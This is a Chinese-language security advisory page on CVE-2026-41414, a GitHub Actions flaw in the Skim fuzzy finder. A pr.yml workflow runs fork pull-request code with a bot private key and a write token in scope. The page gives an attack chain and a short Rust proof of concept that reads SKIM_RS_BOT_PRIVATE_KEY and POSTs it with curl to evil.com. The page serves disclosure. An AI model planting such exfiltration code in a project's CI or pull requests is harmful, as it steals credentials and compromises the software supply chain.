IPBUF安全漏洞报告
English
CVE-2026-41414 CVSS 7.4 高危

CVE-2026-41414 Skim GitHub Actions代码执行漏洞

披露日期: 2026-04-24

漏洞信息

漏洞编号
CVE-2026-41414
漏洞类型
CI/CD注入
CVSS评分
7.4 高危
攻击向量
网络 (AV:N)
认证要求
无需认证 (PR:N)
用户交互
需要交互 (UI:R)
影响产品
Skim

相关标签

RCECI/CDSkimGitHub Actions代码注入供应链安全

漏洞概述

Skim是一个用于文件和行搜索的模糊查找工具。该漏洞存在于其GitHub Actions的CI/CD流程中。由于`.github/workflows/pr.yml`工作流在处理Pull Request时,直接检出了攻击者控制的Fork仓库代码,并在拥有敏感令牌的环境中通过`cargo run`执行该代码,攻击者无需特殊权限即可利用此漏洞。这导致CI环境中的私钥和仓库写入令牌泄露,严重威胁项目安全。

技术细节

该漏洞属于典型的CI/CD注入攻击。攻击向量是利用了GitHub Actions的自动触发机制。具体原理为:`generate-files`作业配置为在PR事件触发时运行,但未对来源仓库(Fork)进行必要的信任检查或代码隔离。当作业执行时,它会将受污染的代码检出到运行器环境,并直接调用`cargo run`进行编译和运行。由于该运行器环境被注入了`SKIM_RS_BOT_PRIVATE_KEY`和具有写权限的`GITHUB_TOKEN`,攻击者只需在Fork仓库的构建脚本或源码中植入恶意代码(如反向Shell或数据外传脚本),一旦PR被创建,恶意代码即会在拥有高权限的CI环境中执行,从而窃取敏感凭据或篡改仓库代码。

攻击链分析

STEP 1
1. 构造恶意环境
攻击者Fork目标Skim仓库,并在代码中植入用于窃取环境变量的恶意代码。
STEP 2
2. 触发工作流
攻击者向原仓库发起Pull Request,触发`.github/workflows/pr.yml`中的`generate-files`任务。
STEP 3
3. 代码执行
CI环境自动检出PR代码并执行`cargo run`,导致攻击者的恶意代码在服务器上运行。
STEP 4
4. 窃取凭据
恶意代码读取并外传环境变量中的`SKIM_RS_BOT_PRIVATE_KEY`和`GITHUB_TOKEN`。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
// src/main.rs use std::env; use std::process::Command; fn main() { // Attempt to exfiltrate the private key if let Ok(token) = env::var("SKIM_RS_BOT_PRIVATE_KEY") { let _ = Command::new("curl") .arg("-X") .arg("POST") .arg("-d") .arg(&token) .arg("https://evil.com/steal") .spawn(); } }

影响范围

Skim < commit bf63404ad51985b00ed304690ba9d477860a5a75

防御指南

临时缓解措施
建议立即禁用受影响的GitHub Actions工作流,并在修复补丁应用前,人工审核所有来自Fork的Pull Request代码。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表